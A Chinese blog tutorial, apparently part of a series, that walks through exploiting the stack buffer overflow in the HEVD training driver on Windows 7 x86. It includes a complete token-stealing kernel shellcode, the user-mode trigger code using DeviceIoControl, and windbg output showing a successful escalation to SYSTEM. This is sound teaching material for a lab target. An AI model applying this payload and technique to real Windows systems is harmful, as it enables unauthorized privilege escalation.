[02] HEVD 核心漏洞之棧溢位
作者:huity
出處:https://www.cnblogs.com/huity35/p/11231155.html
版權:本文版權歸作者所有。文章在看雪、部落格園、個人部落格同時釋出。
轉載:歡迎轉載,但未經作者同意,必須保留此段宣告;必須在文章中給出原文連線;否則必究法律責任。
0x00 前言
上一篇主要學習了環境搭建及前期專案準備,本篇開始學習HEVD中的核心棧溢位漏洞(StackOverflow)。需要參考環境的可參考: [01] HEVD 雙機除錯環境搭建實驗環境:Win10專業版+VMware Workstation 15 Pro+Win7 x86 sp1
實驗工具:VS2015+Windbg+IDA Pro+KmdManager+DbgViewer
這幾天看到有很多同樣開始研究二進位制漏洞的小夥伴,幾經交流,先膜再說。傳送門:TJ。
驅動安裝
從github上下載HEVD的原始碼編譯生成驅動,開啟我們之前準備好的虛擬機器和windbg,將驅動模組和利用模組拷貝到虛擬機器,用KMD載入即可。 開啟cmd,執行我們的利用程式,如下: 檢視是否載入成功,windbg使用lm m H*可以看到剛剛載入的HEVD.sys。0x01 漏洞原理
棧溢位
顧名思義,即緩衝區中,超長的資料向小緩衝區拷貝資料,資料超出了小緩衝區,覆蓋掉了小緩衝之後的資料,此稱為緩衝區溢位。而棧溢位是緩衝區溢位的一種,類似的還有堆溢位,不同的是棧溢位發生在棧中,而堆溢位發生在堆中。具體更細緻的理解,可參考《0Day安全》(第二版)中第2、5、7章的介紹。 那麼當我們設計將返回地址溢位覆蓋為我們自己的程式地址,那麼目標程式即被利用。分析
ULONG KernelBuffer[BUFFER_SIZE] = { 0 }; ... #ifdef SECURE //安全版本 RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer)); #else //漏洞版本 DbgPrint("[+] Triggering Buffer Overflow in Stack\n"); RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
0x02 漏洞利用
提權
對於系統程序而言,如system.exe或者csrss.exe,當我們用自己的普通使用者程序開啟OpenProcess時,往往都會返回0x5的錯誤,即拒絕訪問。那是因為普通程序的許可權是比較低的,想要開啟高許可權程式必須具有高於或等於目標程序許可權,才能對其程序操作。 那麼如何提升當前程序的許可權呢,常用的一種做法是,通過Token令牌修改。即將目標程序的 Token
結構資料或指標替換成 System
程序等系統程序的 Token
結構資料或指標。這樣一來程序將以系統程序的身份執行任何行為,所有需要校驗令牌的操作都將可以暢通無阻地進行。
第一步首先需要定位到System程序的EPROCES結構地址,常見做法是通過fs暫存器,其指向當前活動執行緒的TEB結構(執行緒結構),在Win7 x86 sp1環境下,其偏移0x124為當前執行緒KTHREAD結構:
kd> r fs fs=00000030 kd> dd fs:[0x124] 0030:00000124 83f7d380 00000000 83f7d380 00000100 0030:00000134 9e090106 0001007f 00000000 00000000 0030:00000144 00000000 00000000 00000000 00000000 0030:00000154 00000000 00000000 00000000 00000000 0030:00000164 00000000 00000000 00000000 00000000 0030:00000174 00000000 00000000 00000000 00000000 0030:00000184 00000000 00000000 00000000 00000000 0030:00000194 00000000 00000000 83f0cae7 83e4ff64 kd> dt _KTHREAD 83f7d380 nt!_KTHREAD +0x000 Header : _DISPATCHER_HEADER ... +0x040 ApcState : _KAPC_STATE +0x040 ApcStateFill : [23] "???" +0x057 Priority : 0 '' ... kd> dt _KAPC_STATE nt!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY +0x010 Process : Ptr32 _KPROCESS +0x014 KernelApcInProgress : UChar +0x015 KernelApcPending : UChar +0x016 UserApcPending : UChar_KTHREAD結構的偏移0x50處為_KPROCESS結構,而_KPROCESS為_EPOCESS結構的第一個欄位,即定位到了_EPROCESS結構。 第二步通過_EPROCESS中偏移0xb8處的程序雙向連結串列,偏移0xb4處的程序識別符號以及System程序的程序識別符號4遍歷連結串列匹配到System程序。在EPROCESS結構偏移0xF8處為_EX_FAST_REF結構,為
Token
成員域。
kd> dt _EPROCESS nt!_EPROCESS +0x000 Pcb : _KPROCESS ... +0x0b4 UniqueProcessId : Ptr32 Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY +0x0c0 ProcessQuotaUsage : [2] Uint4B +0x0c8 ProcessQuotaPeak : [2] Uint4B ... +0x0f8 Token : _EX_FAST_REF +0x0fc WorkingSetPage : Uint4B ... kd> dt _EX_FAST_REF nt!_EX_FAST_REF +0x000 Object : Ptr32 Void +0x000 RefCnt : Pos 0, 3 Bits +0x000 Value : Ui
數值的低 3
位表示引用計數,去除低 3
位數值後的 32
位完整數值指向實際表示的記憶體地址。
Token
結構中儲存與當前程序相關的安全令牌的資料內容,如使用者安全識別符號(Sid
),特權級(Privileges
)等,代表當前程序作為訪問者角色訪問其他被訪問物件時,訪問許可權和身份校驗的依據。當前的 System
程序的 Token
結構塊的資料如下:
kd> !token 89201270 _TOKEN 0xffffffff89201270 TS Session ID: 0 User: S-1-5-18 User Groups: 00 S-1-5-32-544 Attributes - Default Enabled Owner 01 S-1-1-0 Attributes - Mandatory Default Enabled 02 S-1-5-11 Attributes - Mandatory Default Enabled 03 S-1-16-16384 Attributes - GroupIntegrity GroupIntegrityEnabled Primary Group: S-1-5-18 Privs: 02 0x000000002 SeCreateTokenPrivilege Attributes - 03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes - ... 34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default 35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default Authentication ID: (0,3e7) Impersonation Level: Anonymous TokenType: Primary Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use ) Token ID: 3ea ParentToken ID: 0 Modified ID: (0, 3eb) RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000 OriginatingLogonSession: 0
第三步,用系統程序令牌替換當前程序令牌。
根據以上步驟,參照..\HackSysExtremeVulnerableDriver-master\Exploit\Payloads.c,構造的Payload程式碼如下:VOID TokenStealingPayloadWin7() { __asm { pushad ; 儲存暫存器狀態 xor eax, eax ; 清空eax mov eax, fs:[eax + KTHREAD_OFFSET] ;獲取當前執行緒KTHREAD結構 mov eax, [eax + EPROCESS_OFFSET] ; 獲取_KPROCESS結構 mov ecx, eax ; KProcess為EProcess第一個欄位 這裡將目標程序EProcess首地址放進ecx 方便後面替換 mov edx, SYSTEM_PID ; SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET] ; _EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx ;_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET] ; 獲取System程序令牌 mov [ecx + TOKEN_OFFSET], edx ; 用系統程序令牌替換目標程序令牌 ; End of Token Stealing Stub popad ; 恢復現場 ; Kernel Recovery Stub xor eax, eax ; 設定返回狀態為成功0 add esp, 12 ; 恢復堆疊 pop ebp ; 彈棧 ret 8 ; } }
利用程式碼
通過DeviceIoControl的其他記憶體模式IOCTL(METHOD_INEITHER)方法進行環3和環0通訊互動。#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
這種互動方法,驅動層可以直接訪問使用者模式地址,使用使用者模式地址必須保證呼叫DeviceIoControl提供執行緒和派遣函式執行在同一個執行緒上下文中。
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG); __try { ... //獲取裝置物件控制代碼 hFile = GetDeviceHandle(FileName); ... //動態申請記憶體 2084 UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserModeBufferSize); ... RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);//0x41 'A' MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));//申請區域的倒數第四的位元組 0x368068+0x824-4 = 0x368888 ... *(PULONG)MemoryAddress = (ULONG)EopPayload;//寫入payload地址 DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_STACK_OVERFLOW, (LPVOID)UserModeBuffer, (DWORD)UserModeBufferSize, NULL, 0, &BytesReturned, NULL); HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer); UserModeBuffer = NULL; }
動態申請UserModeBufferSize(0x824)大小記憶體,使用字元A填充,修改最後四位元組為Payload地址。驅動層通過IO控制碼進入棧溢位處理歷程,也即文章開始處的觸發函式。
此時傳入使用者模式地址為0x2c8068,大小為0x824 可以看到,此地址與環三程式碼一致,最後四位為payload地址。
kd> db 0x002c8068 l 824 002c8068 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 002c8078 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA ... 002c8868 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 002c8878 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 002c8888 b6 13 3f 01 ..?. kd> db 013f13b6 013f13b6 e9 25 75 00 00 e9 20 3b-00 00 e9 85 d6 00 00 e9 .%u... ;........ 013f13c6 36 13 00 00 e9 41 bc 00-00 e9 4c d5 00 00 e9 27 6....A....L....' 013f13d6 c5 00 00 e9 f4 a1 00 00-e9 9d d6 00 00 e9 08 d7 ................ 013f13e6 00 00 e9 73 45 00 00 e9-82 d6 00 00 e9 29 2d 00 ...sE........)-. 013f13f6 00 e9 d0 a1 00 00 e9 ef-ba 00 00 e9 2a bb 00 00 ............*... 013f1406 e9 73 a1 00 00 e9 b6 a1-00 00 e9 0b a2 00 00 e9 .s.............. 013f1416 88 a1 00 00 e9 71 a1 00-00 e9 dc b3 00 00 e9 15 .....q.......... 013f1426 a2 00 00 e9 02 d7 00 00-e9 ff a1 00 00 e9 28 d5 ..............(. 013f88f2 b930000000 mov ecx,30h kd> u 013f13b6+5+7525 l 30 013f88e0 55 push ebp 013f88e1 8bec mov ebp,esp ... 013f88fe 60 pushad 013f88ff 33c0 xor eax,eax 013f8901 648b8024010000 mov eax,dword ptr fs:[eax+124h] 013f8908 8b4050 mov eax,dword ptr [eax+50h] 013f890b 8bc8 mov ecx,eax 013f890d ba04000000 mov edx,4 013f8912 8b80b8000000 mov eax,dword ptr [eax+0B8h] 013f8918 2db8000000 sub eax,0B8h 013f891d 3990b4000000 cmp dword ptr [eax+0B4h],edx 013f8923 75ed jne 013f8912 013f8925 8b90f8000000 mov edx,dword ptr [eax+0F8h] 013f892b 8991f8000000 mov dword ptr [ecx+0F8h],edx 013f8931 61 popad ... 013f894e c3 ret 013f894f cc int 3
再來看看核心棧緩衝區,明顯可以看到,覆蓋範圍超出了核心棧緩衝區,並且最後四個位元組為payload跳轉地址。
kd> dt KernelBuffer Local var @ 0x987fb288 Type unsigned long[] kd> db 0x987fb288 l 0x800 //覆蓋前 987fb288 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 987fb298 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ... 987fba78 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ kd> db 0x987fb288 l 0x824 //覆蓋後 987fb288 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 987fb298 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA ... 987fba98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 987fbaa8 b6 13 3f 01 ..?.
測試中,可以看到我們的payload程式碼成功執行。
最終提權成功。